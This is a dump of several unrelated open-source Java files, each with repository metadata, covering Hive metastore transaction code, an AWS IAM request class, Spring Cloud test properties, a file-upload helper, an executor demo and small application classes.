+ INITIATED_STATE+ "' where cq_state = '" + WORKING_STATE + "' and cq_start < "
+ latestValidStart;
LOG.debug("Going to execute update <" + s + ">");
// It isn't an error if the following returns no rows, as the local workers could have died
// with nothing assigned to them.
stmt.executeUpdate(s);
LOG.debug("Going to commit");
dbConn.commit();
} catch (SQLException e) {
LOG.error("Unable to change dead worker's records back to initiated state " +
e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "revokeTimedoutWorkers(timeout:" + timeout + ")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
closeStmt(stmt);
closeDbConn(dbConn);
}
} catch (RetryException e) {
revokeTimedoutWorkers(timeout);
}
}
/**
* Queries metastore DB directly to find columns in the table which have statistics information.
* If {@code ci} includes partition info then per partition stats info is examined, otherwise
* table level stats are examined.
* @throws MetaException
*/
public List<String> findColumnsWithStats(CompactionInfo ci) throws MetaException {
Connection dbConn = null;
Statement stmt = null;
ResultSet rs = null;
try {
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
String quote = getIdentifierQuoteString(dbConn);
stmt = dbConn.createStatement();
StringBuilder bldr = new StringBuilder();
bldr.append("SELECT ").append(quote).append("COLUMN_NAME").append(quote)
.append(" FROM ")
.append(quote).append((ci.partName == null ? "TAB_COL_STATS" : "PART_COL_STATS"))
.append(quote)
.append(" WHERE ")
.append(quote).append("DB_NAME").append(quote).append(" = '").append(ci.dbname)
.append("' AND ").append(quote).append("TABLE_NAME").append(quote)
.append(" = '").append(ci.tableName).append("'");
if (ci.partName != null) {
bldr.append(" AND ").append(quote).append("PARTITION_NAME").append(quote).append(" = '")
.append(ci.partName).append("'");
}
String s = bldr.toString();
/*String s = "SELECT COLUMN_NAME FROM " + (ci.partName == null ? "TAB_COL_STATS" :
"PART_COL_STATS")
+ " WHERE DB_NAME='" + ci.dbname + "' AND TABLE_NAME='" + ci.tableName + "'"
+ (ci.partName == null ? "" : " AND PARTITION_NAME='" + ci.partName + "'");*/
LOG.debug("Going to execute <" + s + ">");
rs = stmt.executeQuery(s);
List<String> columns = new ArrayList<String>();
while (rs.next()) {
columns.add(rs.getString(1));
}
LOG.debug("Found columns to update stats: " + columns + " on " + ci.tableName +
(ci.partName == null ? "" : "/" + ci.partName));
dbConn.commit();
return columns;
} catch (SQLException e) {
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "findColumnsWithStats(" + ci.tableName +
(ci.partName == null ? "" : "/" + ci.partName) + ")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
close(rs, stmt, dbConn);
}
} catch (RetryException ex) {
return findColumnsWithStats(ci);
}
}
/**
* Transform a {@link org.apache.hadoop.hive.metastore.api.GetOpenTxnsInfoResponse} to a
* {@link org.apache.hadoop.hive.common.ValidTxnList}. This assumes that the caller intends to
* compact the files, and thus treats only open transactions as invalid.
* @param txns txn list from the metastore
* @return a valid txn list.
*/
public static ValidTxnList createValidCompactTxnList(GetOpenTxnsInfoResponse txns) {
long highWater = txns.getTxn_high_water_mark();
long minOpenTxn = Long.MAX_VALUE;
long[] exceptions = new long[txns.getOpen_txnsSize()];
int i = 0;
for (TxnInfo txn : txns.getOpen_txns()) {
if (txn.getState() == TxnState.OPEN) minOpenTxn = Math.min(minOpenTxn, txn.getId());
exceptions[i++] = txn.getId();
}
return new ValidCompactorTxnList(exceptions, minOpenTxn, highWater);
}
}
|
3e0e65e7f2c1be4055657bc8ac7ab499d77ad171 | 700 | java | Java | src/main/java/com/napier/sem/Country.java | Sebastian-Reid/Group-9 | fb03c0d02364c44c5bdfe7aa02acef7f2a8c5939 | [
"Apache-2.0"
] | 1 | 2019-02-08T13:04:42.000Z | 2019-02-08T13:04:42.000Z | src/main/java/com/napier/sem/Country.java | Sebastian-Reid/Group-9 | fb03c0d02364c44c5bdfe7aa02acef7f2a8c5939 | [
"Apache-2.0"
] | 19 | 2019-02-08T13:27:31.000Z | 2019-05-09T13:54:23.000Z | src/main/java/com/napier/sem/Country.java | Sebastian-Reid/Group-9 | fb03c0d02364c44c5bdfe7aa02acef7f2a8c5939 | [
"Apache-2.0"
] | null | null | null | 15.909091 | 53 | 0.634286 | 6,108 | package com.napier.sem;
import java.sql.*;
/**
* Represents an country
*/
// code, name, continent, region, population, capital
public class Country {
public String Code;
public String Name;
public String Continent;
public String Region;
public float SurfaceArea;
public int IndepYear;
public long Population;
public float LifeExpectancy;
public float GNP;
public float GNPOld;
public char LocalName;
public char GovernmentForm;
public char HeadOfState;
public int Capital;
public char Code2;
public void displayCountry()
{
// if (cnt != null)
{
System.out.println(Name);
}
}
}
|
3e0e6705ca4f0b1e39ed335d832b24bca9bc05a5 | 609 | java | Java | orange-demo-single/orange-demo-single-service/common/common-core/src/main/java/com/orange/demo/common/core/annotation/MyDataSourceResolver.java | orange-form/orange-admin | 2aec2a463653a6f9767c8a84c102f213b7071db2 | [
"Apache-2.0"
] | 114 | 2020-06-02T09:04:18.000Z | 2022-03-29T03:01:08.000Z | orange-demo-single/orange-demo-single-service/common/common-core/src/main/java/com/orange/demo/common/core/annotation/MyDataSourceResolver.java | orange-form/orange-admin | 2aec2a463653a6f9767c8a84c102f213b7071db2 | [
"Apache-2.0"
] | 4 | 2020-08-13T13:16:33.000Z | 2022-01-04T16:57:49.000Z | orange-demo-single/orange-demo-single-service/common/common-core/src/main/java/com/orange/demo/common/core/annotation/MyDataSourceResolver.java | orange-form/orange-admin | 2aec2a463653a6f9767c8a84c102f213b7071db2 | [
"Apache-2.0"
] | 25 | 2020-09-24T06:51:29.000Z | 2022-03-29T03:01:12.000Z | 20.3 | 59 | 0.702791 | 6,109 | package com.orange.demo.common.core.annotation;
import com.orange.demo.common.core.util.DataSourceResolver;
import java.lang.annotation.*;
/**
* 基于自定义解析规则的多数据源注解。主要用于标注Service的实现类。
*
* @author Jerry
* @date 2020-09-24
*/
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface MyDataSourceResolver {
/**
* 多数据源路由键解析接口的Class。
* @return 多数据源路由键解析接口的Class。
*/
Class<? extends DataSourceResolver> resolver();
/**
* DataSourceResolver.resovle方法的入参。
* @return DataSourceResolver.resovle方法的入参。
*/
String arg() default "";
}
|
3e0e6750c230b7b08613853e1ed0003da83d55d4 | 408 | java | Java | app/src/main/java/com/wuxiaolong/wewin/ui/myblog/MyBlogActivity.java | upcwangying/WeWin | 618440454d1d2305bc7bf25ee540ccfb855b39e4 | [
"Unlicense"
] | 433 | 2015-01-02T15:15:06.000Z | 2021-11-09T10:12:35.000Z | app/src/main/java/com/wuxiaolong/wewin/ui/myblog/MyBlogActivity.java | upcwangying/WeWin | 618440454d1d2305bc7bf25ee540ccfb855b39e4 | [
"Unlicense"
] | 2 | 2015-01-29T13:45:55.000Z | 2018-07-10T11:02:09.000Z | app/src/main/java/com/wuxiaolong/wewin/ui/myblog/MyBlogActivity.java | upcwangying/WeWin | 618440454d1d2305bc7bf25ee540ccfb855b39e4 | [
"Unlicense"
] | 165 | 2015-01-03T13:27:14.000Z | 2019-05-26T05:10:25.000Z | 22.666667 | 56 | 0.745098 | 6,110 | package com.wuxiaolong.wewin.ui.myblog;
import android.os.Bundle;
import com.wuxiaolong.wewin.ui.BaseActivity;
import com.xiaomolongstudio.wewin.R;
public class MyBlogActivity extends BaseActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_my_blog);
initToolbar("吴小龙同學");
}
}
|
3e0e676818935acbf599dde9dc69558482aadc97 | 6,119 | java | Java | aws-java-sdk-iam/src/main/java/com/amazonaws/services/identitymanagement/model/GetInstanceProfileRequest.java | ericvincent83/aws-sdk-java | c491416f3ea9411a04d9bafedee6c6874a79e48d | [
"Apache-2.0"
] | 3,372 | 2015-01-03T00:35:43.000Z | 2022-03-31T15:56:24.000Z | aws-java-sdk-iam/src/main/java/com/amazonaws/services/identitymanagement/model/GetInstanceProfileRequest.java | ericvincent83/aws-sdk-java | c491416f3ea9411a04d9bafedee6c6874a79e48d | [
"Apache-2.0"
] | 2,391 | 2015-01-01T12:55:24.000Z | 2022-03-31T08:01:50.000Z | aws-java-sdk-iam/src/main/java/com/amazonaws/services/identitymanagement/model/GetInstanceProfileRequest.java | ericvincent83/aws-sdk-java | c491416f3ea9411a04d9bafedee6c6874a79e48d | [
"Apache-2.0"
] | 2,876 | 2015-01-01T14:38:37.000Z | 2022-03-29T19:53:10.000Z | 38.974522 | 132 | 0.655336 | 6,111 | /*
* Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.identitymanagement.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.AmazonWebServiceRequest;
/**
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/iam-2010-05-08/GetInstanceProfile" target="_top">AWS API
* Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class GetInstanceProfileRequest extends com.amazonaws.AmazonWebServiceRequest implements Serializable, Cloneable {
/**
* <p>
* The name of the instance profile to get information about.
* </p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string of
* characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also include any of
* the following characters: _+=,.@-
* </p>
*/
private String instanceProfileName;
/**
* <p>
* The name of the instance profile to get information about.
* </p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string of
* characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also include any of
* the following characters: _+=,.@-
* </p>
*
* @param instanceProfileName
* The name of the instance profile to get information about.</p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string
* of characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also
* include any of the following characters: _+=,.@-
*/
public void setInstanceProfileName(String instanceProfileName) {
this.instanceProfileName = instanceProfileName;
}
/**
* <p>
* The name of the instance profile to get information about.
* </p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string of
* characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also include any of
* the following characters: _+=,.@-
* </p>
*
* @return The name of the instance profile to get information about.</p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string
* of characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also
* include any of the following characters: _+=,.@-
*/
public String getInstanceProfileName() {
return this.instanceProfileName;
}
/**
* <p>
* The name of the instance profile to get information about.
* </p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string of
* characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also include any of
* the following characters: _+=,.@-
* </p>
*
* @param instanceProfileName
* The name of the instance profile to get information about.</p>
* <p>
* This parameter allows (through its <a href="http://wikipedia.org/wiki/regex">regex pattern</a>) a string
* of characters consisting of upper and lowercase alphanumeric characters with no spaces. You can also
* include any of the following characters: _+=,.@-
* @return Returns a reference to this object so that method calls can be chained together.
*/
public GetInstanceProfileRequest withInstanceProfileName(String instanceProfileName) {
setInstanceProfileName(instanceProfileName);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getInstanceProfileName() != null)
sb.append("InstanceProfileName: ").append(getInstanceProfileName());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof GetInstanceProfileRequest == false)
return false;
GetInstanceProfileRequest other = (GetInstanceProfileRequest) obj;
if (other.getInstanceProfileName() == null ^ this.getInstanceProfileName() == null)
return false;
if (other.getInstanceProfileName() != null && other.getInstanceProfileName().equals(this.getInstanceProfileName()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getInstanceProfileName() == null) ? 0 : getInstanceProfileName().hashCode());
return hashCode;
}
@Override
public GetInstanceProfileRequest clone() {
return (GetInstanceProfileRequest) super.clone();
}
}
|
3e0e683c8ec3e48d8da95598e0a1f51ae97d74ba | 3,937 | java | Java | spring-cloud-deployer-spi-scheduler-test-app/src/main/java/org/springframework/cloud/deployer/spi/scheduler/test/app/SchedulerIntegrationTestProperties.java | zjsun/spring-cloud-deployer | d758f5a6f816bb2a6d0f6adccde2e6d9c6fa4292 | [
"Apache-2.0"
] | 146 | 2016-02-29T16:25:18.000Z | 2022-03-22T20:13:23.000Z | spring-cloud-deployer-spi-scheduler-test-app/src/main/java/org/springframework/cloud/deployer/spi/scheduler/test/app/SchedulerIntegrationTestProperties.java | zjsun/spring-cloud-deployer | d758f5a6f816bb2a6d0f6adccde2e6d9c6fa4292 | [
"Apache-2.0"
] | 295 | 2016-03-04T13:31:12.000Z | 2022-03-29T15:12:27.000Z | spring-cloud-deployer-spi-scheduler-test-app/src/main/java/org/springframework/cloud/deployer/spi/scheduler/test/app/SchedulerIntegrationTestProperties.java | zjsun/spring-cloud-deployer | d758f5a6f816bb2a6d0f6adccde2e6d9c6fa4292 | [
"Apache-2.0"
] | 80 | 2016-02-29T16:02:57.000Z | 2022-03-10T15:21:17.000Z | 29.601504 | 104 | 0.733807 | 6,112 | /*
* Copyright 2018-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.cloud.deployer.spi.scheduler.test.app;
import java.util.HashSet;
import java.util.Set;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.properties.ConfigurationProperties;
/**
* Configuration properties for the IntegrationTestProcessor app.
*
* @author Glenn Renfro
* @author Ilayaperumal Gopinathan
*/
@ConfigurationProperties
public class SchedulerIntegrationTestProperties {
public static final String FUNNY_CHARACTERS = "&'\"|< é\\(";
/**
* The delay in milliseconds to stall the initialization of this app.
* Useful for testing the 'deploying' state of a app.
*/
private int initDelay = 0;
/**
* The delay in milliseconds after which this app will kill itself.
* <p>-1 means don't kill</p>
*/
private int killDelay = -1;
/**
* The exit code used when this app will kill itself.
* <p>Set this to 0 for normal exit</p>
*/
private int exitCode = 1;
/**
* If not empty, only the app intances whose number(s) are contained in this set
* will behave according to the other configuration parameters.
*/
private Set<Integer> matchInstances = new HashSet<>();
/**
* If not null, this property will be tested against {@link #FUNNY_CHARACTERS}.
* This makes sure that a deployer knows how to properly propagate application properties, including
* those that contain chars that often require some form of escaping.
*/
private String parameterThatMayNeedEscaping;
/**
* If not null, this property will be tested against {@link #FUNNY_CHARACTERS}.
* This makes sure that a deployer knows how to properly propagate deployment properties, including
* those that contain chars that often require some form of escaping.
*/
private String commandLineArgValueThatMayNeedEscaping;
@Value("${INSTANCE_INDEX:${CF_INSTANCE_INDEX:0}}")
private Integer instanceIndex;
public int getInitDelay() {
return initDelay;
}
public void setInitDelay(int initDelay) {
this.initDelay = initDelay;
}
public int getKillDelay() {
return killDelay;
}
public void setKillDelay(int killDelay) {
this.killDelay = killDelay;
}
public int getExitCode() {
return exitCode;
}
public void setExitCode(int exitCode) {
this.exitCode = exitCode;
}
public Set<Integer> getMatchInstances() {
return matchInstances;
}
public void setMatchInstances(Set<Integer> matchInstances) {
this.matchInstances = matchInstances;
}
public String getParameterThatMayNeedEscaping() {
return parameterThatMayNeedEscaping;
}
public void setParameterThatMayNeedEscaping(String parameterThatMayNeedEscaping) {
this.parameterThatMayNeedEscaping = parameterThatMayNeedEscaping;
}
public Integer getInstanceIndex() {
return instanceIndex;
}
public void setInstanceIndex(Integer instanceIndex) {
this.instanceIndex = instanceIndex;
}
public String getCommandLineArgValueThatMayNeedEscaping() {
return commandLineArgValueThatMayNeedEscaping;
}
public void setCommandLineArgValueThatMayNeedEscaping(String commandLineArgValueThatMayNeedEscaping) {
this.commandLineArgValueThatMayNeedEscaping = commandLineArgValueThatMayNeedEscaping;
}
}
|
3e0e688f7f6bd9ee9eadf6f3f903c42a9017a9c1 | 1,814 | java | Java | src/main/java/kr/or/ddit/file/PartWrapper.java | jojo00923/GroupWork | d90dbaa46fa00b8038fb05b06faf0c22a84794c8 | [
"MIT"
] | null | null | null | src/main/java/kr/or/ddit/file/PartWrapper.java | jojo00923/GroupWork | d90dbaa46fa00b8038fb05b06faf0c22a84794c8 | [
"MIT"
] | 8 | 2020-03-05T00:22:35.000Z | 2022-01-04T16:38:06.000Z | src/main/java/kr/or/ddit/file/PartWrapper.java | jojo00923/GroupWork | d90dbaa46fa00b8038fb05b06faf0c22a84794c8 | [
"MIT"
] | null | null | null | 24.186667 | 71 | 0.727674 | 6,113 | package kr.or.ddit.file;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.UUID;
import javax.servlet.http.Part;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import lombok.Getter;
import lombok.Setter;
import lombok.ToString;
@ToString(exclude = "part")
@Getter
@Setter
public class PartWrapper {
public PartWrapper(Part part){//생성자
this.part = part;
//file.exe
filename = getOriginalName(part);
//다른사람과 겹치지 않는 새로운 이름을 만들기위해
savename= UUID.randomUUID().toString();//★확장자 없이
filesize = part.getSize();//현재파일의 사이즈
mime = part.getContentType(); //현재파일의 마임
fancySize = FileUtils.byteCountToDisplaySize(filesize);
}
private Part part;
private String filename;
private String savename;
private long filesize;
private String mime;
private String fancySize;
public byte[] getBytes() throws IOException {
try(
InputStream inputStream = part.getInputStream();
){
return IOUtils.toByteArray(inputStream);
}
}
public void saveFile(File saveFolder) throws IOException{//파라미터 - 저장위치
//저장명 = savename
File saveFile = new File(saveFolder,savename); //저장하기
try(
InputStream input = part.getInputStream();
// outputStream생성
FileOutputStream output = new FileOutputStream(saveFile);
){
IOUtils.copy(input,output);
}
}
public void delete() throws IOException {
part.delete(); //파일이저장된 영역을 비워줌
}
private String getOriginalName(Part part) {
String disposition = part.getHeader("Content-Disposition");
int fromIndex = disposition.indexOf("filename=");
int qtFirst = disposition.indexOf('"', fromIndex);
int qtLast = disposition.indexOf('"', qtFirst+1); //여기까지는 원본파일명 잡기
return disposition.substring(qtFirst+1, qtLast);
}
}
|
3e0e699b5a3c3cbf9481f3b73ac7a817b1076ff7 | 4,837 | java | Java | executors/src/main/java/jfskora/ExecutorsAndFutures.java | jskora/scratch | 500445b6e57dd16bf105c1586753b99138c02d0f | [
"MIT"
] | 1 | 2016-02-23T19:58:48.000Z | 2016-02-23T19:58:48.000Z | executors/src/main/java/jfskora/ExecutorsAndFutures.java | jskora/scratch | 500445b6e57dd16bf105c1586753b99138c02d0f | [
"MIT"
] | 4 | 2020-03-04T22:11:29.000Z | 2021-12-09T20:33:30.000Z | executors/src/main/java/jfskora/ExecutorsAndFutures.java | jskora/scratch | 500445b6e57dd16bf105c1586753b99138c02d0f | [
"MIT"
] | 1 | 2018-08-27T12:06:20.000Z | 2018-08-27T12:06:20.000Z | 34.798561 | 117 | 0.535042 | 6,114 | package jfskora;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
public class ExecutorsAndFutures {
private final static Logger LOGGER = LoggerFactory.getLogger(ExecutorsAndFutures.class);
private final static Integer MAX_SLEEP = 10;
private final int numExecutors;
private final int numTasks;
private String[] words = new String[]{
"alpha", "bravo", "charlie", "delta", "echo", "foxtrot", "golf", "hotel", "india", "juliett", "kilo", "lima",
"mike", "november", "oscar", "papa", "quebec", "romeo", "sierra", "tango", "uniform", "victor", "whiskey",
"xray", "yankee", "zulu"
};
private Map<Integer, Future<DemoResult>> taskFutures = new ConcurrentHashMap<>();
private class DemoResult {
private final int index;
private final String name;
private final String desc;
DemoResult(final int index, final String name, final String desc) {
this.index = index;
this.name = name;
this.desc = desc;
}
public int getIndex() {
return index;
}
public String getName() {
return name;
}
public String getDescription() {
return desc;
}
}
private class DemoTask implements Callable<DemoResult> {
private final int index;
private final String name;
private final String desc;
DemoTask(final int index, final String name) {
this.index = index;
this.name = name;
this.desc = String.format("%03d-%-8s", index, name);
}
@Override
public DemoResult call() throws Exception {
LOGGER.info("task starting {} {} {} {}",
String.format("%-12s", getDescription()), " ", " ",
Thread.currentThread().getName());
Thread.sleep((index % MAX_SLEEP) * 100);
DemoResult result = new DemoResult(index, name, desc);
LOGGER.info("task stopping {} {} {} {}",
" ", String.format("%-12s", getDescription()), " ",
Thread.currentThread().getName());
return result;
}
public int getIndex() {
return index;
}
public String getName() {
return name;
}
public String getDescription() {
return desc;
}
}
ExecutorsAndFutures(final int numExecutors, final int numTasks) {
this.numExecutors = numExecutors;
this.numTasks = numTasks;
}
private void run() {
ExecutorService executor = Executors.newFixedThreadPool(numExecutors);
List<DemoTask> tasks = new ArrayList<>();
LOGGER.info("creating and submitting tasks");
LOGGER.info("task header {} {} {} {}",
"starting ", "stopping ", "finished ",
"other");
LOGGER.info("------------- {} {} {} {}",
"------------", "------------", "------------", "---------------");
for (int i = 0; i < numTasks; i++) {
DemoTask task = new DemoTask(i, words[i % words.length]);
tasks.add(task);
taskFutures.put(i, executor.submit(task));
}
while (!taskFutures.isEmpty()) {
for (Integer id : taskFutures.keySet()) {
Future<DemoResult> future = taskFutures.get(id);
if (future.isDone()) {
try {
DemoResult result = future.get();
taskFutures.remove(id);
LOGGER.info("task finished {} {} {} {} left",
" ", " ", String.format("%-12s", result.getDescription()),
taskFutures.size());
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
}
}
}
}
List<Runnable> failed = executor.shutdownNow();
LOGGER.info("done failed={}", failed.size());
}
public static void main(String[] args) {
LOGGER.info("main starting (logger)");
System.out.println("main starting (sysout)");
ExecutorsAndFutures test = new ExecutorsAndFutures(3, 35);
test.run();
}
}
|
3e0e69e0106349735eb00097a5c81301bccd1350 | 1,097 | java | Java | chapter3/ActionBazaar-ejb/src/main/java/com/actionbazaar/buslogic/BidManagerWS.java | kge96/actionbazaar | a98cd4aa6d3e5e34cbbe65ce16e86f7bf2142ff3 | [
"Apache-2.0"
] | 8 | 2016-11-14T02:41:09.000Z | 2020-12-20T11:59:54.000Z | chapter3/ActionBazaar-ejb/src/main/java/com/actionbazaar/buslogic/BidManagerWS.java | kge96/actionbazaar | a98cd4aa6d3e5e34cbbe65ce16e86f7bf2142ff3 | [
"Apache-2.0"
] | null | null | null | chapter3/ActionBazaar-ejb/src/main/java/com/actionbazaar/buslogic/BidManagerWS.java | kge96/actionbazaar | a98cd4aa6d3e5e34cbbe65ce16e86f7bf2142ff3 | [
"Apache-2.0"
] | 14 | 2015-09-28T08:49:44.000Z | 2021-09-21T12:57:42.000Z | 28.128205 | 76 | 0.724704 | 6,115 | /**
* EJB 3 in Action
* Book: http://www.manning.com/panda/
* Code: http://code.google.com/p/action-bazaar/
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.actionbazaar.buslogic;
import com.actionbazaar.persistence.Bid;
import com.actionbazaar.persistence.Item;
import java.util.List;
import javax.jws.WebService;
/**
* BidManager Web Service Interface
*/
@WebService
public interface BidManagerWS extends BidManager {
@Override
Long addBid(Bid bid);
@Override
void cancelBid(Bid bid);
@Override
List<Bid> getBids(Item item);
}
|
3e0e6aafec9b8eaa1e56ac9a762db8edc1bbce17 | 2,498 | java | Java | WEB-INF/src/english/prompts/Goodbye.java | ericp56/avaya-od-ci | 74c8234757e2bfc77a8b3ce39a3c772756b5271c | [
"Apache-1.0",
"Apache-2.0"
] | null | null | null | WEB-INF/src/english/prompts/Goodbye.java | ericp56/avaya-od-ci | 74c8234757e2bfc77a8b3ce39a3c772756b5271c | [
"Apache-1.0",
"Apache-2.0"
] | null | null | null | WEB-INF/src/english/prompts/Goodbye.java | ericp56/avaya-od-ci | 74c8234757e2bfc77a8b3ce39a3c772756b5271c | [
"Apache-1.0",
"Apache-2.0"
] | null | null | null | 16.116129 | 179 | 0.708967 | 6,116 | /**
* Last generated by Avaya Dialog Designer at: 2005-MAY-04 03:43:03 PM
*/
package english.prompts;
public class Goodbye extends com.avaya.sce.runtime.Prompt {
//{{START:CLASS:FIELDS
//}}END:CLASS:FIELDS
/**
* Constructor for Goodbye.
*/
public Goodbye() {
//{{START:CLASS:CONSTRUCTOR
super();
//}}END:CLASS:CONSTRUCTOR
}
/**
* This method is generated automatically and should not be manually edited
* To manually edit the prompt, override:
* void updatePrompt()
* Last generated by Orchestration Designer at: (timestamp generation disabled)
*/
public void buildPrompt(){
com.avaya.sce.runtime.Format format = null;
com.avaya.sce.runtime.RenderHint hint = null;
com.avaya.sce.runtime.MediaPage mediaPage = null;
setBarginType(com.avaya.sce.runtimecommon.SCERT.BARGIN_SPEECH);
setName("Goodbye");
setOrder(com.avaya.sce.runtime.Prompt.STANDARD);
// Prompt level 1
setTimeout(1,8000);
setBargin(1,true);
if ( new com.avaya.sce.runtime.Condition( "condition", "TotalQuestions", com.avaya.sce.runtime.Expression.INT_GREATER_THAN, "0", false, null ).evaluate(getSession()) == true ) {
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.TEXT,"You got ", null));
format = new com.avaya.sce.runtime.Format();
format.add(com.avaya.sce.runtime.Format.FORMAT,com.avaya.sce.runtime.Format.FMT_TEXT);
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.VARIABLE_TEXT,"CorrectAnswers", format));
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.TEXT," out of ", null));
format = new com.avaya.sce.runtime.Format();
format.add(com.avaya.sce.runtime.Format.FORMAT,com.avaya.sce.runtime.Format.FMT_TEXT);
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.VARIABLE_TEXT,"TotalQuestions", format));
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.TEXT," correct. Your score is ", null));
format = new com.avaya.sce.runtime.Format();
format.add(com.avaya.sce.runtime.Format.FORMAT,com.avaya.sce.runtime.Format.FMT_TEXT);
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.VARIABLE_TEXT,"Score", format));
add(1, new com.avaya.sce.runtime.PromptElement(com.avaya.sce.runtime.PromptElement.TEXT," percent!", null));
}
}
}
|
3e0e6b14082f34eafaad5c1232a4e0afb20ee481 | 254 | java | Java | resource-assignment/provider/src/main/java/org/onap/ccsdk/sli/adaptors/ra/comp/AllocationData.java | onap/archive-ccsdk-sli-adaptors | cb066c294b8bc988441d25a222e08d0af4673ac5 | [
"Apache-2.0"
] | null | null | null | resource-assignment/provider/src/main/java/org/onap/ccsdk/sli/adaptors/ra/comp/AllocationData.java | onap/archive-ccsdk-sli-adaptors | cb066c294b8bc988441d25a222e08d0af4673ac5 | [
"Apache-2.0"
] | null | null | null | resource-assignment/provider/src/main/java/org/onap/ccsdk/sli/adaptors/ra/comp/AllocationData.java | onap/archive-ccsdk-sli-adaptors | cb066c294b8bc988441d25a222e08d0af4673ac5 | [
"Apache-2.0"
] | null | null | null | 21.166667 | 44 | 0.76378 | 6,117 | package org.onap.ccsdk.sli.adaptors.ra.comp;
import java.util.Map;
public class AllocationData {
public String resourceEntityType;
public String resourceEntityId;
public String resourceEntityVersion;
public Map<String, String> data;
}
|
3e0e6b3dcff11ba24073c4908db45eb94b761908 | 1,128 | java | Java | sdk/commerce/mgmt-v2015_06_01_preview/src/main/java/com/microsoft/azure/management/commerce/v2015_06_01_preview/UsageAggregates.java | yiliuTo/azure-sdk-for-java | 4536b6e99ded1b2b77f79bc2c31f42566c97b704 | [
"MIT"
] | 3 | 2021-09-15T16:25:19.000Z | 2021-12-17T05:41:00.000Z | sdk/commerce/mgmt-v2015_06_01_preview/src/main/java/com/microsoft/azure/management/commerce/v2015_06_01_preview/UsageAggregates.java | yiliuTo/azure-sdk-for-java | 4536b6e99ded1b2b77f79bc2c31f42566c97b704 | [
"MIT"
] | 12 | 2019-07-17T16:18:54.000Z | 2019-07-17T21:30:02.000Z | sdk/commerce/mgmt-v2015_06_01_preview/src/main/java/com/microsoft/azure/management/commerce/v2015_06_01_preview/UsageAggregates.java | yiliuTo/azure-sdk-for-java | 4536b6e99ded1b2b77f79bc2c31f42566c97b704 | [
"MIT"
